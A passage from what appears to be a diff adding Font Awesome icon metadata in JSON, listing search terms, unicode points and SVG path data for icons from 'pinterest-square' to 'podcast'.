50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z" + } + }, + "free": [ + "brands" + ] + }, + "pinterest-square": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f0d3", + "label": "Pinterest Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861013, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z" + } + }, + "free": [ + "brands" + ] + }, + "pizza-slice": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cheese", + "chicago", + "italian", + "mozzarella", + "new york", + "pepperoni", + "pie", + "slice", + "teenage mutant ninja turtles", + "tomato" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f818", + "label": "Pizza Slice", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635638, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M158.87.15c-16.16-1.52-31.2 8.42-35.33 24.12l-14.81 56.27c187.62 5.49 314.54 130.61 322.48 317l56.94-15.78c15.72-4.36 25.49-19.68 23.62-35.9C490.89 165.08 340.78 17.32 158.87.15zm-58.47 112L.55 491.64a16.21 16.21 0 0 0 20 19.75l379-105.1c-4.27-174.89-123.08-292.14-299.15-294.1zM128 416a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm48-152a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm104 104a32 32 0 1 1 32-32 32 32 0 0 1-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M158.87.15c-16.16-1.52-31.2 8.42-35.33 24.12l-14.81 56.27c187.62 5.49 314.54 130.61 322.48 317l56.94-15.78c15.72-4.36 25.49-19.68 23.62-35.9C490.89 165.08 340.78 17.32 158.87.15zm-58.47 112L.55 491.64a16.21 16.21 0 0 0 20 19.75l379-105.1c-4.27-174.89-123.08-292.14-299.15-294.1zM128 416a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm48-152a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm104 104a32 32 0 1 1 32-32 32 32 0 0 1-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "place-of-worship": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "church", + "holy", + "mosque", + "synagogue" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f67f", + "label": "Place of Worship", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635638, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M620.61 366.55L512 320v192h112c8.84 0 16-7.16 16-16V395.96a32 32 0 0 0-19.39-29.41zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.55A32 32 0 0 0 0 395.96zm464.46-149.28L416 217.6V102.63c0-8.49-3.37-16.62-9.38-22.63L331.31 4.69c-6.25-6.25-16.38-6.25-22.62 0L233.38 80c-6 6-9.38 14.14-9.38 22.63V217.6l-48.46 29.08A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.66-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M620.61 366.55L512 320v192h112c8.84 0 16-7.16 16-16V395.96a32 32 0 0 0-19.39-29.41zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.55A32 32 0 0 0 0 395.96zm464.46-149.28L416 217.6V102.63c0-8.49-3.37-16.62-9.38-22.63L331.31 4.69c-6.25-6.25-16.38-6.25-22.62 0L233.38 80c-6 6-9.38 14.14-9.38 22.63V217.6l-48.46 29.08A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.66-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44z" + } + }, + "free": [ + "solid" + ] + }, + "plane": { + "changes": [ + "1", + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "airplane", + "destination", + "fly", + "location", + "mode", + "travel", + "trip" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f072", + "label": "plane", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635640, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M480 192H365.71L260.61 8.06A16.014 16.014 0 0 0 246.71 0h-65.5c-10.63 0-18.3 10.17-15.38 20.39L214.86 192H112l-43.2-57.6c-3.02-4.03-7.77-6.4-12.8-6.4H16.01C5.6 128-2.04 137.78.49 147.88L32 256 .49 364.12C-2.04 374.22 5.6 384 16.01 384H56c5.04 0 9.78-2.37 12.8-6.4L112 320h102.86l-49.03 171.6c-2.92 10.22 4.75 20.4 15.38 20.4h65.5c5.74 0 11.04-3.08 13.89-8.06L365.71 320H480c35.35 0 96-28.65 96-64s-60.65-64-96-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M480 192H365.71L260.61 8.06A16.014 16.014 0 0 0 246.71 0h-65.5c-10.63 0-18.3 10.17-15.38 20.39L214.86 192H112l-43.2-57.6c-3.02-4.03-7.77-6.4-12.8-6.4H16.01C5.6 128-2.04 137.78.49 147.88L32 256 .49 364.12C-2.04 374.22 5.6 384 16.01 384H56c5.04 0 9.78-2.37 12.8-6.4L112 320h102.86l-49.03 171.6c-2.92 10.22 4.75 20.4 15.38 20.4h65.5c5.74 0 11.04-3.08 13.89-8.06L365.71 320H480c35.35 0 96-28.65 96-64s-60.65-64-96-64z" + } + }, + "free": [ + "solid" + ] + }, + "plane-arrival": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "airplane", + "arriving", + "destination", + "fly", + "land", + "landing", + "location", + "mode", + "travel", + "trip" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5af", + "label": "Plane Arrival", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635639, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM44.81 205.66l88.74 80a62.607 62.607 0 0 0 25.47 13.93l287.6 78.35c26.48 7.21 54.56 8.72 81 1.36 29.67-8.27 43.44-21.21 47.25-35.71 3.83-14.5-1.73-32.71-23.37-54.96-19.28-19.82-44.35-32.79-70.83-40l-97.51-26.56L282.8 30.22c-1.51-5.81-5.95-10.35-11.66-11.91L206.05.58c-10.56-2.88-20.9 5.32-20.71 16.44l47.92 164.21-102.2-27.84-27.59-67.88c-1.93-4.89-6.01-8.57-11.02-9.93L52.72 64.75c-10.34-2.82-20.53 5-20.72 15.88l.23 101.78c.19 8.91 6.03 17.34 12.58 23.25z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM44.81 205.66l88.74 80a62.607 62.607 0 0 0 25.47 13.93l287.6 78.35c26.48 7.21 54.56 8.72 81 1.36 29.67-8.27 43.44-21.21 47.25-35.71 3.83-14.5-1.73-32.71-23.37-54.96-19.28-19.82-44.35-32.79-70.83-40l-97.51-26.56L282.8 30.22c-1.51-5.81-5.95-10.35-11.66-11.91L206.05.58c-10.56-2.88-20.9 5.32-20.71 16.44l47.92 164.21-102.2-27.84-27.59-67.88c-1.93-4.89-6.01-8.57-11.02-9.93L52.72 64.75c-10.34-2.82-20.53 5-20.72 15.88l.23 101.78c.19 8.91 6.03 17.34 12.58 23.25z" + } + }, + "free": [ + "solid" + ] + }, + "plane-departure": { + "changes": [ + "5.1.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "airplane", + "departing", + "destination", + "fly", + "location", + "mode", + "take off", + "taking off", + "travel", + "trip" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5b0", + "label": "Plane Departure", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635639, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM80.55 341.27c6.28 6.84 15.1 10.72 24.33 10.71l130.54-.18a65.62 65.62 0 0 0 29.64-7.12l290.96-147.65c26.74-13.57 50.71-32.94 67.02-58.31 18.31-28.48 20.3-49.09 13.07-63.65-7.21-14.57-24.74-25.27-58.25-27.45-29.85-1.94-59.54 5.92-86.28 19.48l-98.51 49.99-218.7-82.06a17.799 17.799 0 0 0-18-1.11L90.62 67.29c-10.67 5.41-13.25 19.65-5.17 28.53l156.22 98.1-103.21 52.38-72.35-36.47a17.804 17.804 0 0 0-16.07.02L9.91 230.22c-10.44 5.3-13.19 19.12-5.57 28.08l76.21 82.97z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM80.55 341.27c6.28 6.84 15.1 10.72 24.33 10.71l130.54-.18a65.62 65.62 0 0 0 29.64-7.12l290.96-147.65c26.74-13.57 50.71-32.94 67.02-58.31 18.31-28.48 20.3-49.09 13.07-63.65-7.21-14.57-24.74-25.27-58.25-27.45-29.85-1.94-59.54 5.92-86.28 19.48l-98.51 49.99-218.7-82.06a17.799 17.799 0 0 0-18-1.11L90.62 67.29c-10.67 5.41-13.25 19.65-5.17 28.53l156.22 98.1-103.21 52.38-72.35-36.47a17.804 17.804 0 0 0-16.07.02L9.91 230.22c-10.44 5.3-13.19 19.12-5.57 28.08l76.21 82.97z" + } + }, + "free": [ + "solid" + ] + }, + "plane-slash": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "airplane mode", + "canceled", + "covid-19", + "delayed", + "grounded", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e069", + "label": "Plane Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635640, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32.48,147.88,64,256,32.48,364.13A16,16,0,0,0,48,384H88a16,16,0,0,0,12.8-6.41L144,320H246.85l-49,171.59A16,16,0,0,0,213.2,512h65.5a16,16,0,0,0,13.89-8.06l66.6-116.54L34.35,136.34A15.47,15.47,0,0,0,32.48,147.88ZM633.82,458.09,455.14,320H512c35.34,0,96-28.66,96-64s-60.66-64-96-64H397.7L292.61,8.06C290.06,3.61,283.84,0,278.71,0H213.2a16,16,0,0,0-15.38,20.39l36.94,129.29L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M32.48,147.88,64,256,32.48,364.13A16,16,0,0,0,48,384H88a16,16,0,0,0,12.8-6.41L144,320H246.85l-49,171.59A16,16,0,0,0,213.2,512h65.5a16,16,0,0,0,13.89-8.06l66.6-116.54L34.35,136.34A15.47,15.47,0,0,0,32.48,147.88ZM633.82,458.09,455.14,320H512c35.34,0,96-28.66,96-64s-60.66-64-96-64H397.7L292.61,8.06C290.06,3.61,283.84,0,278.71,0H213.2a16,16,0,0,0-15.38,20.39l36.94,129.29L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09Z" + } + }, + "free": [ + "solid" + ] + }, + "play": { + "changes": [ + "1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "music", + "playing", + "sound", + "start", + "video" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f04b", + "label": "play", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635642, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M424.4 214.7L72.4 6.6C43.8-10.3 0 6.1 0 47.9V464c0 37.5 40.7 60.1 72.4 41.3l352-208c31.4-18.5 31.5-64.1 0-82.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M424.4 214.7L72.4 6.6C43.8-10.3 0 6.1 0 47.9V464c0 37.5 40.7 60.1 72.4 41.3l352-208c31.4-18.5 31.5-64.1 0-82.6z" + } + }, + "free": [ + "solid" + ] + }, + "play-circle": { + "changes": [ + "3.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "music", + "playing", + "sound", + "start", + "video" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f144", + "label": "Play Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635641, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm115.7 272l-176 101c-15.8 8.8-35.7-2.5-35.7-21V152c0-18.4 19.8-29.8 35.7-21l176 107c16.4 9.2 16.4 32.9 0 42z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm115.7 272l-176 101c-15.8 8.8-35.7-2.5-35.7-21V152c0-18.4 19.8-29.8 35.7-21l176 107c16.4 9.2 16.4 32.9 0 42z" + }, + "regular": { + "last_modified": 1628088634950, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M371.7 238l-176-107c-15.8-8.8-35.7 2.5-35.7 21v208c0 18.4 19.8 29.8 35.7 21l176-101c16.4-9.1 16.4-32.8 0-42zM504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M371.7 238l-176-107c-15.8-8.8-35.7 2.5-35.7 21v208c0 18.4 19.8 29.8 35.7 21l176-101c16.4-9.1 16.4-32.8 0-42zM504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "playstation": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3df", + "label": "PlayStation", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861014, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z" + } + }, + "free": [ + "brands" + ] + }, + "plug": { + "changes": [ + "4.2", + "5.0.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "connect", + "electric", + "online", + "power" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1e6", + "label": "Plug", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635642, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M320,32a32,32,0,0,0-64,0v96h64Zm48,128H16A16,16,0,0,0,0,176v32a16,16,0,0,0,16,16H32v32A160.07,160.07,0,0,0,160,412.8V512h64V412.8A160.07,160.07,0,0,0,352,256V224h16a16,16,0,0,0,16-16V176A16,16,0,0,0,368,160ZM128,32a32,32,0,0,0-64,0v96h64Z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M320,32a32,32,0,0,0-64,0v96h64Zm48,128H16A16,16,0,0,0,0,176v32a16,16,0,0,0,16,16H32v32A160.07,160.07,0,0,0,160,412.8V512h64V412.8A160.07,160.07,0,0,0,352,256V224h16a16,16,0,0,0,16-16V176A16,16,0,0,0,368,160ZM128,32a32,32,0,0,0-64,0v96h64Z" + } + }, + "free": [ + "solid" + ] + }, + "plus": { + "changes": [ + "1", + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "add", + "create", + "expand", + "new", + "positive", + "shape" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f067", + "label": "plus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635643, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 208H272V64c0-17.67-14.33-32-32-32h-32c-17.67 0-32 14.33-32 32v144H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h144v144c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32V304h144c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M416 208H272V64c0-17.67-14.33-32-32-32h-32c-17.67 0-32 14.33-32 32v144H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h144v144c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32V304h144c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "plus-circle": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "add", + "create", + "expand", + "new", + "positive", + "shape" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f055", + "label": "Plus Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635642, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm144 276c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92h-92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm144 276c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92h-92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z" + } + }, + "free": [ + "solid" + ] + }, + "plus-square": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "add", + "create", + "expand", + "new", + "positive", + "shape" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0fe", + "label": "Plus Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635643, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-32 252c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92H92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-32 252c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92H92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z" + }, + "regular": { + "last_modified": 1628088634951, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 240v32c0 6.6-5.4 12-12 12h-88v88c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-88h-88c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h88v-88c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v88h88c6.6 0 12 5.4 12 12zm96-160v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M352 240v32c0 6.6-5.4 12-12 12h-88v88c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-88h-88c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h88v-88c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v88h88c6.6 0 12 5.4 12 12zm96-160v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "podcast": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "broadcast", + "music", + "sound" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2ce", + "label": "Podcast", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635644, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M267.429 488.563C262.286 507.573 242.858 512 224 512c-18.857 0-38.286-4.427-43.428-23.437C172.927 460.134 160 388.898 160 355.75c0-35.156 31.142-43.75 64-43.75s64 8.594 64 43.75c0 32.949-12.871 104.179-20.571 132.813zM156.867 288.554c-18.693-18.308-29.958-44.173-28.784-72.599 2.054-49.724 42.395-89.956 92.124-91.881C274.862 121.958 320 165.807 320 220c0 26.827-11.064 51.116-28.866 68.552-2.675 2.62-2.401 6.986.628 9.187 9.312 6.765 16.46 15.343 21.234 25.363 1.741 3.654 6.497 4.66 9.449 1.891 28.826-27.043 46.553-65.783 45.511-108.565-1.855-76.206-63.595-138.208-139.793-140.369C146.869 73.753 80 139.215 80 220c0 41.361 17.532 78.7 45.55 104.989 2.953 2.771 7.711 1.77 9.453-1.887 4.774-10.021 11.923-18.598 21.235-25.363 3.029-2.2 3.304-6.566.629-9.185zM224 0C100.204 0 0 100.185 0 224c0 89.992 52.602 165.647 125.739 201.408 4.333 2.118 9.267-1.544 8.535-6.31-2.382-15.512-4.342-30.946-5.406-44.339-.146-1.836-1.149-3.486-2.678-4.512-47.4-31.806-78.564-86.016-78.187-147.347.592-96.237 79.29-174.648 175.529-174.899C320.793 47.747 400 126.797 400 224c0 61.932-32.158 116.49-80.65 147.867-.999 14.037-3.069 30.588-5.624 47.23-.732 4.767 4.203 8.429 8.535 6.31C395.227 389.727 448 314.187 448 224 448 100.205 347.815 0 224 0zm0 160c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M267.429 488.563C262.286 507.573 242.858 512 224 512c-18.857 0-38.286-4.427-43.428-23.437C172.927 460.134 160 388.898 160 355.75c0-35.156 31.142-43.75 64-43.75s64 8.594 64 43.75c0 32.949-12.871 104.179-20.571 132.813zM156.867 288.554c-18.693-18.308-29.958-44.173-28.784-72.599 2.054-49.724 42.395-89.956 92.124-91.881C274.862 121.958 320 165.807 320 220c0 26.827-11.064 51.116-28.866 68.552-2.675 2.62-2.401 6.986.628 9.187 9.312 6.765 16.46 15.343 21.234 25.363 1.741 3.654 6.497 4.66 9.449 1.891 28.826-27.043 46.553-65.783 45.511-108.565-1.855-76.206-63.595-138.208-139.793-140.369C146.869 73.753 80 139.215 80 220c0 41.361 17.532 78.7 45.55 104.989 2.953 2.771 7.711 1.77 9.453-1.887 4.774-10.021 11.923-18.598 21.235-25.363 3.029-2.2 3.304-6.566.629-9.185zM224 0C100.204 0 0 100.185 0 224c0 89.992 52.602 165.647 125.739 201.408 4.333 2.118 9.267-1.544 